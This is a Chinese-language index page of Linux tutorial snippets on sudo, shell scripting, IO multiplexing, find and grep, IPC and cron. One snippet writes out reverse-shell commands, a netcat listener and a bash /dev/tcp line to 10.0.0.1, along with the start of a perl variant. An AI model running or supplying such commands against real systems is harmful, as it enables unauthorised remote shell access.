详解Linux下的sudo及其配置文件/etc/sudoers的详细配置 Linux
详解Linux下的sudo及其配置文件/etc/sudoers的详细配置 1.sudo介绍 sudo是linux下常用的允许普通用户使用超级用户权限的工具,允许系统管理员让普通用户执行一些或者全部的root命令,如halt,reboot,s...
标签: linux
bash判断文件或文件夹是否存在的shell代码 Linux
核心代码 #shell判断文件夹是否存在 #如果文件夹不存在,创建文件夹 if [ ! -d /myfolder ]; then mkdir /myfolder fi #shell判断文件,目录是否存在或者具有权限 folder=/var/...
标签: linux
Linux IO的水平触发和边缘触发的区别 Linux
Linux IO的水平触发和边缘触发的区别 在linux的IO多路复用中有水平触发,边缘触发两种模式,这两种模式的区别如下: 水平触发:如果文件描述符已经就绪可以非阻塞的执行IO操作了,此时会触发通知.允许在任意时刻重复检测IO的状态.se...
标签: linux
Linux下find和grep常用命令及区别介绍 Linux
在使用linux时,经常需要进行文件查找。其中查找的命令主要有find和grep。两个命令是有区别的。 区别: (1)find命令是根据文件的属性进行查找,如文件名,文件大小,所有者,所属组,是否为空,访问时间,修改时间等。 (2)gr...
标签: linux
Linux中的host命令应用实例详解 Linux
Linux中的host命令应用举例一 命令语法功能:查出某个主机名的IPhost hostname [server][server]:使用不是由/etc/resolv.conf文件定义的DNS服务器IP来查询
标签: linux
Linux下NC反弹shell命令(推荐) Linux
本机开启监听:nc -lvnp 4444nc -vvlp 4444目标机器开启反弹bash版本:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1perl版本:perl -e 'use Socket;$i="10.0.
标签: linux
Linux共享内存实现机制的详解 Linux
Linux共享内存实现机制的详解 内存共享: 两个不同进程A、B共享内存的意思是,同一块物理内存被映射到进程A、B各自的进程地址空间。进程A可以即时看到进程B对共享内存中数据的更新,反之亦然。由于多个进程共享同一块内存区域,必然需要某种同步...
标签: linux
Linux消息队列实现进程间通信实例详解 Linux
Linux消息队列实现进程间通信实例详解 一、什么是消息队列 消息队列提供了一种从一个进程向另一个进程发送一个数据块的方法。 每个数据块都被认为含有一个类型,接收进程可以独立地接收含有不同类型的数据结构。我们可以通过发送消息来避免命名管道...
标签: linux
linux创建PHP定时任务的实例 Linux
linux创建PHP定时任务下面所有的前提是服务器存在PHP环境首先创建一个php文件:示例内容如下:<?php$ch=curl_init();//设置请求curl_setopt($ch,C
标签: linux
详解Linux下读取位图的注意事项 Linux
详解Linux下读取位图的注意事项 在Linux下读取位图遇到的问题,很好地体现了linux与Windows操作系统的不同。按理说位图格式与操作系统无关,读取也应该无关,实际上在位图读到内存中时已经不同。下面主要介绍自己在Linux下操作位...
标签: linux